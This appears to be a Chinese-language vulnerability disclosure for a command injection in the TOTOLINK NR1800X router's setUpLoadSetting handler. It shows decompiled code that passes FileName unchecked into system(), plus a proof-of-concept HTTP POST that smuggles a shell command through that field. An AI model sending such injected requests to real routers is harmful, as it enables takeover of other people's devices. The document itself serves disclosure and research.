

命令注入

品牌:totoLink

产品型号:NR1800X

版本: V9.1.0u.6681_B20230703

由于没有真实设备所以我将二进制文件进行了patch，一般情况通过cookie之后才可以进行栈溢出，这里我们需要模拟对应的参数，这里厂商对setUpUploadSetting进行了strip的动作

这里没有对用户传参进行校验直接拼接到system中

```
int v29; // $s1
_BYTE v30[128]; // [sp+18h] [-94h] BYREF
const char *v31; // [sp+98h] [-14h] BYREF
unsigned int v32; // [sp+9Ch] [-10h]
char *v33; // [sp+A0h] [-Ch]
int v34; // [sp+A4h] [-8h]

Var = websGetVar(a1, "FileName", (int)&byte_43F798);
v3 = websGetVar(a1, "ContentLength", (int)&byte_43F798);
memset(v30, 0, sizeof(v30));
sprintf(v30, "cp %s /tmp/restore_check", Var);
system(v30);
Object = cJSON_CreateObject();
```

POC

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1

Host: 192.168.0.2

Content-Length: 100

Accept: application/json, text/javascript, */*; q=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Origin: http://192.168.0.2

Referer: http://192.168.0.2/login.html

Accept-Encoding: gzip, deflate, br
```

Accept-Language: en-US,en;q=0.9

Connection: close

{"topicurl":"setUpLoadSetting",

"FileName":"a;ls -la / > /tmp/goodboy;",

"ContentLength":"2000"

}

The screenshot shows a terminal window on the left and a web browser's developer tools on the right. The terminal window displays a list of files and directories, including `trpc_url`, `fl_out`, `tmp # ls`, `append_test`, `gi_body.txt`, `gi_gdb_wrap.sh`, `gi_out`, `gi_out.txt`, `gi_out2`, `gi_overflow_test.txt`, `gi_payload.txt`, `hroot_inj`, `mdfile`, `cookie_key`, `trpc_url`, `fl_out`, and `tmp #`. The web browser's developer tools show an HTTP request and response. The request is a POST to `/cgi-bin/cstecgi.cgi` with a content length of 100. The response is an HTTP/1.1 200 OK with a content length of 37. The response body contains a JSON object: `{ "settingError": "MSG_config_error" }`.

The screenshot shows a terminal window with a list of files and directories, including `l_out`, `tmp # rm -rf goodboy`, `tmp # ls`, `ppend_test`, `gi_body.txt`, `gi_gdb_wrap.sh`, `gi_out`, `gi_out.txt`, `gi_out2`, `gi_overflow_test.txt`, `gi_payload.txt`, `hroot_inj`, `mdfile`, `cookie_key`, `trpc_url`, `l_out`, and `tmp # ls`. The list is organized into three columns.